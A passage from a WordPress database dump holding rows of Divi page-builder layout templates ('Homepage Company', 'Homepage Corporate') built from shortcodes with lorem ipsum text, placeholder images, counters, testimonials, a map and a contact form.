image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-320px.jpg\" icon_placement=\"top\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Cras semper dictum lectus ac bibendum. Sed id massa vel lorem laoreet molestie. Nullam vulputate lacus at mauris molestie porttitor.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum\" url_new_window=\"off\" use_icon=\"off\" icon_color=\"#2ea3f2\" use_circle=\"off\" circle_color=\"#2ea3f2\" use_circle_border=\"off\" circle_border_color=\"#2ea3f2\" image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-320px.jpg\" icon_placement=\"top\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Cras semper dictum lectus ac bibendum. Sed id massa vel lorem laoreet molestie. Nullam vulputate lacus at mauris molestie porttitor.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum\" url_new_window=\"off\" use_icon=\"off\" icon_color=\"#2ea3f2\" use_circle=\"off\" circle_color=\"#2ea3f2\" use_circle_border=\"off\" circle_border_color=\"#2ea3f2\" image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-320px.jpg\" icon_placement=\"top\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Cras semper dictum lectus ac bibendum. Sed id massa vel lorem laoreet molestie. Nullam vulputate lacus at mauris molestie porttitor.[/et_pb_blurb][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"on\" specialty=\"off\" background_color=\"#4b4b4b\" inner_shadow=\"on\" parallax=\"off\"][et_pb_fullwidth_portfolio admin_label=\"Fullwidth Portfolio\" title=\"Recent Work\" fullwidth=\"on\" show_title=\"on\" show_date=\"on\" background_layout=\"dark\" auto=\"off\" /][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#eeeeee\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/et-logo.png\" show_in_lightbox=\"off\" url_new_window=\"off\" animation=\"top\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/et-logo.png\" show_in_lightbox=\"off\" url_new_window=\"off\" animation=\"top\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/et-logo.png\" show_in_lightbox=\"off\" url_new_window=\"off\" animation=\"top\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/et-logo.png\" show_in_lightbox=\"off\" url_new_window=\"off\" animation=\"top\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_2\"][et_pb_testimonial admin_label=\"Testimonial\" author=\"Lorem Ipsum\" company_name=\"Company\" url_new_window=\"off\" portrait_url=\"http://elegantthemesimages.com/images/premade/d2-placeholder-225px.png\" quote_icon=\"off\" use_background_color=\"on\" background_color=\"#f5f5f5\" background_layout=\"light\" text_orientation=\"left\" job_title=\"Job Role\" url=\"#\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante.[/et_pb_testimonial][/et_pb_column][et_pb_column type=\"1_2\"][et_pb_testimonial admin_label=\"Testimonial\" author=\"Lorem Ipsum\" company_name=\"Company\" url_new_window=\"off\" portrait_url=\"http://elegantthemesimages.com/images/premade/d2-placeholder-225px.png\" quote_icon=\"off\" use_background_color=\"on\" background_color=\"#f5f5f5\" background_layout=\"light\" text_orientation=\"left\" job_title=\"Job Role\" url=\"#\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante.[/et_pb_testimonial][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_2\"][et_pb_testimonial admin_label=\"Testimonial\" author=\"Lorem Ipsum\" company_name=\"Company\" url_new_window=\"off\" portrait_url=\"http://elegantthemesimages.com/images/premade/d2-placeholder-225px.png\" quote_icon=\"off\" use_background_color=\"on\" background_color=\"#f5f5f5\" background_layout=\"light\" text_orientation=\"left\" job_title=\"Job Role\" url=\"#\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante.[/et_pb_testimonial][/et_pb_column][et_pb_column type=\"1_2\"][et_pb_testimonial admin_label=\"Testimonial\" author=\"Lorem Ipsum\" company_name=\"Company\" url_new_window=\"off\" portrait_url=\"http://elegantthemesimages.com/images/premade/d2-placeholder-225px.png\" quote_icon=\"off\" use_background_color=\"on\" background_color=\"#f5f5f5\" background_layout=\"light\" text_orientation=\"left\" job_title=\"Job Role\" url=\"#\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante.[/et_pb_testimonial][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"on\" specialty=\"off\"][et_pb_fullwidth_map admin_label=\"Fullwidth Map\" zoom_level=\"8\" address_lat=\"37.43410184255073\" address_lng=\"-122.04768412931253\"][et_pb_map_pin title=\"Elegant Themes\" pin_address=\"San Francisco, CA, USA\" pin_address_lat=\"37.7749295\" pin_address_lng=\"-122.41941550000001\" /][et_pb_map_pin title=\"Lorem Ipsum\" pin_address=\"San Jose, CA, USA\" pin_address_lat=\"37.3393857\" pin_address_lng=\"-121.89495549999998\" /][/et_pb_fullwidth_map][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_contact_form admin_label=\"Contact Form\" captcha=\"off\" title=\"Contact Us\" /][/et_pb_column][/et_pb_row][/et_pb_section]','Homepage Company','','publish','open','open','','homepage-company','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=8',0,'et_pb_layout','',0),(9,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\" specialty=\"off\" background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"off\"][et_pb_fullwidth_slider admin_label=\"Fullwidth Slider\" show_arrows=\"on\" show_pagination=\"on\" auto=\"off\" parallax=\"off\"][et_pb_slide heading=\"Our Company\" button_text=\"Learn More\" button_link=\"#\" background_color=\"#f7f7f7\" image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-510px.jpg\" alignment=\"center\" background_layout=\"light\"]Changing the way you build websites. Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante. In vitae tempus nunc. Etiam adipiscing enim sed condimentum ultrices.[/et_pb_slide][/et_pb_fullwidth_slider][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#3a4149\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_4\"][et_pb_circle_counter admin_label=\"Circle Counter\" title=\"Sales & Marketing\" number=\"70\" percent_sign=\"on\" background_layout=\"dark\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_circle_counter admin_label=\"Circle Counter\" title=\"Brand & Identity\" number=\"90\" percent_sign=\"on\" background_layout=\"dark\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_circle_counter admin_label=\"Circle Counter\" title=\"Web Design\" number=\"80\" percent_sign=\"on\" background_layout=\"dark\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_circle_counter admin_label=\"Circle Counter\" title=\"App Development\" number=\"50\" percent_sign=\"on\" background_layout=\"dark\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"2_3\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]<h2>What We Offer</h2>[/et_pb_text][et_pb_tabs admin_label=\"Tabs\"][et_pb_tab title=\"Overview\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante. In vitae tempus nunc. Etiam adipiscing enim sed condimentum ultrices. Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante.[/et_pb_tab][et_pb_tab title=\"Mission Statement\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante. In vitae tempus nunc. Etiam adipiscing enim sed condimentum ultrices. Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante.[/et_pb_tab][et_pb_tab title=\"Culture\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante. In vitae tempus nunc. Etiam adipiscing enim sed condimentum ultrices. Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante.[/et_pb_tab][/et_pb_tabs][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"50\" /][et_pb_counters admin_label=\"Bar Counters\" background_layout=\"light\" background_color=\"#f4f4f4\"][et_pb_counter percent=\"80\"]Brand Consulting[/et_pb_counter][et_pb_counter percent=\"45\"]Marketing Campaigns [/et_pb_counter][et_pb_counter percent=\"95\"]Custom Website Design[/et_pb_counter][/et_pb_counters][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"4_4\"][et_pb_divider admin_label=\"Divider\" color=\"#eaeaea\" show_divider=\"on\" height=\"30\" /][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_2\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/d2-placeholder-510px.jpg\" show_in_lightbox=\"off\" url_new_window=\"off\" animation=\"left\" /][/et_pb_column][et_pb_column type=\"1_2\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]<h1>Our Work Flow</h1>[/et_pb_text][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Upsum\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#ffffff\" use_circle=\"on\" use_circle_border=\"off\" circle_border_color=\"#2ea3f2\" icon_placement=\"left\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante.[/et_pb_blurb][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Upsum\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#ffffff\" use_circle=\"on\" use_circle_border=\"off\" circle_border_color=\"#2ea3f2\" icon_placement=\"left\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante.[/et_pb_blurb][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Upsum\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#ffffff\" use_circle=\"on\" use_circle_border=\"off\" circle_border_color=\"#2ea3f2\" icon_placement=\"left\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante.[/et_pb_blurb][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#212a34\" inner_shadow=\"off\" parallax=\"off\" background_image=\"http://elegantthemes.com/preview/Divi2/wp-content/uploads/2014/05/d2-placeholder-1920.png\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"20\" /][et_pb_blurb admin_label=\"Blurb\" url_new_window=\"off\" use_icon=\"off\" icon_color=\"#2ea3f2\" use_circle=\"off\" circle_color=\"#2ea3f2\" use_circle_border=\"off\" circle_border_color=\"#2ea3f2\" image=\"http://elegantthemesimages.com/images/premade/d2-300px.png\" icon_placement=\"top\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_2\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]<h2>Frequently Asked Questions</h2>\r\nLorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc aliquam justo et nibh venenatis aliquet. Morbi mollis mollis pellentesque. Aenean vitae erat velit. Maecenas urna sapien, dignissim a augue vitae, porttitor luctus urna. Morbi scelerisque semper congue. Donec vitae congue quam. Pellentesque convallis est a eros porta, ut porttitor magna convallis.\r\n\r\nDonec quis felis imperdiet, vestibulum est ut, pulvinar dolor. Mauris laoreet varius sem, tempus congue nibh elementum facilisis. Aliquam ut odio risus. Mauris consectetur mi et ante aliquam, eget posuere urna semper. Vestibulum vestibulum rhoncus enim, id iaculis eros commodo non.[/et_pb_text][/et_pb_column][et_pb_column type=\"1_2\"][et_pb_accordion admin_label=\"Accordion\"][et_pb_accordion_item title=\"What kind of clients do you work with?\"]Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc aliquam justo et nibh venenatis aliquet.[/et_pb_accordion_item][et_pb_accordion_item title=\"What is your turn around time?\"]Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc aliquam justo et nibh venenatis aliquet. Morbi mollis mollis pellentesque. Aenean vitae erat velit. Maecenas urna sapien, dignissim a augue vitae, porttitor luctus urna.[/et_pb_accordion_item][et_pb_accordion_item title=\"Do you have an affiliate program?\"]Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc aliquam justo et nibh venenatis aliquet. Morbi mollis mollis pellentesque. Aenean vitae erat velit. Maecenas urna sapien, dignissim a augue vitae, porttitor luctus urna.[/et_pb_accordion_item][/et_pb_accordion][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"4_4\"][et_pb_divider admin_label=\"Divider\" color=\"#eaeaea\" show_divider=\"on\" height=\"30\" /][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_3\"][et_pb_testimonial admin_label=\"Testimonial\" author=\"Lorem Ipsum\" url_new_window=\"off\" quote_icon=\"on\" use_background_color=\"on\" background_color=\"#f5f5f5\" background_layout=\"light\" text_orientation=\"center\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante. In vitae tempus nunc. Etiam adipiscing enim sed condimentum ultrices. Aenean consectetur ipsum ante, vel egestas enim tincidunt qu[/et_pb_testimonial][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_testimonial admin_label=\"Testimonial\" author=\"Lorem Ipsum\" url_new_window=\"off\" quote_icon=\"on\" use_background_color=\"on\" background_color=\"#f5f5f5\" background_layout=\"light\" text_orientation=\"center\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante. In vitae tempus nunc. Etiam adipiscing enim sed condimentum ultrices. Aenean consectetur ipsum ante, vel egestas enim tincidunt qu[/et_pb_testimonial][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_testimonial admin_label=\"Testimonial\" author=\"Lorem Ipsum\" url_new_window=\"off\" quote_icon=\"on\" use_background_color=\"on\" background_color=\"#f5f5f5\" background_layout=\"light\" text_orientation=\"center\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante. In vitae tempus nunc. Etiam adipiscing enim sed condimentum ultrices. Aenean consectetur ipsum ante, vel egestas enim tincidunt qu[/et_pb_testimonial][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#f74b47\" inner_shadow=\"on\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" button_url=\"#\" button_text=\"Email\" use_background_color=\"off\" background_color=\"#2ea3f2\" background_layout=\"dark\" text_orientation=\"center\" title=\"Don\'t Be Shy\"]Drop us a line anytime, and one of our customer service reps will respond to you as soon as possible[/et_pb_cta][/et_pb_column][/et_pb_row][/et_pb_section]','Homepage Corporate','','publish','open','open','','homepage-corporate','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=9',0,'et_pb_layout','',0),(10,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\"][et_pb_fullwidth_slider admin_label=\"Fullwidth Slider\" show_arrows=\"on\" show_pagination=\"on\" auto=\"off\" parallax=\"on\"][et_pb_slide heading=\"Welcome To Our Website\" button_text=\"Learn More\" button_link=\"#\" background_color=\"#ffffff\" alignment=\"center\" background_layout=\"dark\" video_bg_width=\"1920\" video_bg_height=\"638\" background_image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\"]Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue nunc at nisl. Cras venenatis ac lorema ac tincidunt. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue.[/et_pb_slide][et_pb_slide heading=\"Sky\'s The Limit\" background_color=\"#444444\" image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-510px.jpg\" alignment=\"center\" background_layout=\"dark\" button_text=\"A Closer Look\" button_link=\"#\"]Vivamus ipsum velit, ullamcorper quis nibh non, molestie tempus sapien. Mauris ultrices, felis ut eleifend auctor, leo felis vehicula quam, ut accumsan augue nunc at nisl.[/et_pb_slide][/et_pb_fullwidth_slider][/et_pb_section][et_pb_section fullwidth=\"off\"][et_pb_row][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum Dolor\" url_new_window=\"off\" animation=\"off\" background_layout=\"light\" text_orientation=\"left\" icon_placement=\"left\" font_icon=\"\" use_icon=\"on\" use_circle=\"off\" use_circle_border=\"off\" icon_color=\"#7c4dd5\" circle_color=\"#7c4dd5\" circle_border_color=\"#2caaca\"]Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum Dolor\" url_new_window=\"off\" animation=\"off\" background_layout=\"light\" text_orientation=\"left\" icon_placement=\"left\" font_icon=\"\" use_icon=\"on\" use_circle=\"off\" use_circle_border=\"off\" icon_color=\"#7c4dd5\" circle_color=\"#7c4dd5\" circle_border_color=\"#2caaca\"]Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum Dolor\" url_new_window=\"off\" animation=\"off\" background_layout=\"light\" text_orientation=\"left\" icon_placement=\"left\" font_icon=\"\" use_icon=\"on\" use_circle=\"off\" use_circle_border=\"off\" icon_color=\"#7c4dd5\" circle_color=\"#7c4dd5\" circle_border_color=\"#2caaca\"]Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam.[/et_pb_blurb][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum Dolor\" url_new_window=\"off\" animation=\"off\" background_layout=\"light\" text_orientation=\"left\" icon_placement=\"left\" font_icon=\"\" use_icon=\"on\" use_circle=\"off\" use_circle_border=\"off\" icon_color=\"#7c4dd5\" circle_color=\"#7c4dd5\" circle_border_color=\"#2caaca\"]Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum Dolor\" url_new_window=\"off\" animation=\"off\" background_layout=\"light\" text_orientation=\"left\" icon_placement=\"left\" font_icon=\"\" use_icon=\"on\" use_circle=\"off\" use_circle_border=\"off\" icon_color=\"#7c4dd5\" circle_color=\"#7c4dd5\" circle_border_color=\"#2caaca\"]Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum Dolor\" url_new_window=\"off\" animation=\"off\" background_layout=\"light\" text_orientation=\"left\" icon_placement=\"left\" font_icon=\"\" use_icon=\"on\" use_circle=\"off\" use_circle_border=\"off\" icon_color=\"#7c4dd5\" circle_color=\"#7c4dd5\" circle_border_color=\"#2caaca\"]Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam.[/et_pb_blurb][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" background_color=\"#27c9b8\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" button_url=\"#\" button_text=\"Get Started\" background_color=\"#7ebec5\" use_background_color=\"off\" background_layout=\"dark\" text_orientation=\"center\"]</p><h1>Building a website has never been so fun.</h1><p>[/et_pb_cta][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" background_color=\"#27323a\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_text admin_label=\"Text\" background_layout=\"dark\" text_orientation=\"center\"]</p><h1>Lorem Ipsum Dolor.</h1><p>Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam. Nullam non gravida purus dolor ipsum amet sit. Nec  eleifend tincidunt nisi.Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam.</p><p>[/et_pb_text][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"4_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1080px.jpg\" url_new_window=\"off\" animation=\"right\" show_in_lightbox=\"off\" /][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_3\"][et_pb_text admin_label=\"Text\" background_layout=\"dark\" text_orientation=\"left\"]</p><h3>Lorem Ipsum</h3><p><span style=\"color: #bbbbbb;\">Vestibulum lobortis. Donec at euismod nibh, eu ibendum quam. Nullam non gravida puruipsum amet sdum it. Nec ele bulum lobortis. Donec at euismod nibh, eu biben</span></p><p>[/et_pb_text][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_text admin_label=\"Text\" background_layout=\"dark\" text_orientation=\"left\"]</p><h3>Lorem Ipsum</h3><p><span style=\"color: #bbbbbb;\">Vestibulum lobortis. Donec at euismod nibh, eu ibendum quam. Nullam non gravida puruipsum amet sdum it. Nec ele bulum lobortis. Donec at euismod nibh, eu biben</span></p><p>[/et_pb_text][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_text admin_label=\"Text\" background_layout=\"dark\" text_orientation=\"left\"]</p><h3>Lorem Ipsum</h3><p><span style=\"color: #bbbbbb;\">Vestibulum lobortis. Donec at euismod nibh, eu ibendum quam. Nullam non gravida puruipsum amet sdum it. Nec ele bulum lobortis. Donec at euismod nibh, eu biben</span></p><p>[/et_pb_text][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" background_color=\"#22262e\" inner_shadow=\"off\" parallax=\"on\"][et_pb_row][et_pb_column type=\"1_4\"][et_pb_number_counter admin_label=\"Number Counter\" title=\"Lorem Ipsum\" number=\"2700\" percent_sign=\"off\" counter_color=\"#815ab4\" background_layout=\"dark\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_number_counter admin_label=\"Number Counter\" title=\"Lorem Ipsum\" number=\"30\" percent_sign=\"off\" counter_color=\"#2caaca\" background_layout=\"dark\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_number_counter admin_label=\"Number Counter\" title=\"Lorem Ipsum\" number=\"87\" percent_sign=\"off\" counter_color=\"#35bbaa\" background_layout=\"dark\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_number_counter admin_label=\"Number Counter\" title=\"Lorem Ipsum\" number=\"999\" percent_sign=\"off\" counter_color=\"#ef6462\" background_layout=\"dark\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"on\"][et_pb_fullwidth_portfolio admin_label=\"Fullwidth Portfolio\" fullwidth=\"on\" include_categories=\"15\" show_title=\"on\" show_date=\"on\" background_layout=\"dark\" auto=\"on\" /][et_pb_fullwidth_slider admin_label=\"Fullwidth Slider\" show_arrows=\"on\" show_pagination=\"on\" auto=\"off\" parallax=\"off\"][et_pb_slide heading=\"Slide Title Here\" button_text=\"Shop Now\" button_link=\"http://elegantthemes.com/preview/Divi2/shop-extended/\" background_color=\"#1a86cf\" alignment=\"center\" background_layout=\"dark\" image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-510px.jpg\"]Lorem ipsum dolor sit amet, consectetur adipiscing elit. In in risus eget lectus suscipit malesuada. Maecenas ut urna mollis, aliquam eros at, laoreet metus.[/et_pb_slide][et_pb_slide heading=\"Slide Title Here\" alignment=\"center\" background_layout=\"dark\" background_image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\" background_color=\"#ffffff\"]Lorem ipsum dolor sit amet, consectetur adipiscing elit. In in risus eget lectus suscipit malesuada. Maecenas ut urna mollis, aliquam er\r\nos at, laoreet metus.[/et_pb_slide][/et_pb_fullwidth_slider][/et_pb_section][et_pb_section][et_pb_row][et_pb_column type=\"4_4\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"center\"]</p><h1>Core Features</h1><p>[/et_pb_text][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum Dolor\" url_new_window=\"off\" image=\"http://elegantthemesimages.com/images/premade/builder-blurbs-builder.jpg\" animation=\"bottom\" background_layout=\"light\" text_orientation=\"center\" use_icon=\"off\" icon_color=\"#2caaca\" use_circle=\"off\" circle_color=\"#2caaca\" use_circle_border=\"off\" circle_border_color=\"#2caaca\" icon_placement=\"top\"]Donec at euismod nibh, eu bibendum quam. Nullam non gravida purus, nec  eleifend tincidunt nisi. Fusce at purus in massa laoreet[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum Dolor\" url_new_window=\"off\" image=\"http://elegantthemesimages.com/images/premade/builder-blurbs-layouts.jpg\" animation=\"bottom\" background_layout=\"light\" text_orientation=\"center\" use_icon=\"off\" icon_color=\"#2caaca\" use_circle=\"off\" circle_color=\"#2caaca\" use_circle_border=\"off\" circle_border_color=\"#2caaca\" icon_placement=\"top\" url=\"http://elegantthemes.com/preview/Divi2/features/#predefined\"]Donec at euismod nibh, eu bibendum quam. Nullam non gravida purus, nec  eleifend tincidunt nisi. Fusce at purus in massa laoreet[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum Dolor\" url_new_window=\"off\" image=\"http://elegantthemesimages.com/images/premade/builder-blurbs-export.jpg\" animation=\"bottom\" background_layout=\"light\" text_orientation=\"center\" use_icon=\"off\" icon_color=\"#2caaca\" use_circle=\"off\" circle_color=\"#2caaca\" use_circle_border=\"off\" circle_border_color=\"#2caaca\" icon_placement=\"top\" url=\"http://elegantthemes.com/preview/Divi2/features/#layouts\"]Donec at euismod nibh, eu bibendum quam. Nullam non gravida purus, nec  eleifend tincidunt nisi. Fusce at purus in massa laoreet[/et_pb_blurb][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum Dolor\" url_new_window=\"off\" image=\"http://elegantthemesimages.com/images/premade/builder-blurbs-modules.jpg\" animation=\"bottom\" background_layout=\"light\" text_orientation=\"center\" icon_placement=\"top\" use_icon=\"off\" use_circle=\"off\" use_circle_border=\"off\" icon_color=\"#2caaca\" circle_color=\"#2caaca\" circle_border_color=\"#2caaca\"]Donec at euismod nibh, eu bibendum quam. Nullam non gravida purus, nec  eleifend tincidunt nisi. Fusce at purus in massa laoreet[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum Dolor\" url_new_window=\"off\" image=\"http://elegantthemesimages.com/images/premade/builder-blurbs-mobile.jpg\" animation=\"bottom\" background_layout=\"light\" text_orientation=\"center\" use_icon=\"off\" icon_color=\"#2caaca\" use_circle=\"off\" circle_color=\"#2caaca\" use_circle_border=\"off\" circle_border_color=\"#2caaca\" icon_placement=\"top\" url=\"http://elegantthemes.com/preview/Divi2/features/#mobile\"]Donec at euismod nibh, eu bibendum quam. Nullam non gravida purus, nec  eleifend tincidunt nisi. Fusce at purus in massa laoreet[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum Dolor\" url_new_window=\"off\" image=\"http://elegantthemesimages.com/images/premade/builder-blurbs-commerce.jpg\" animation=\"bottom\" background_layout=\"light\" text_orientation=\"center\" use_icon=\"off\" icon_color=\"#2caaca\" use_circle=\"off\" circle_color=\"#2caaca\" use_circle_border=\"off\" circle_border_color=\"#2caaca\" icon_placement=\"top\"]Donec at euismod nibh, 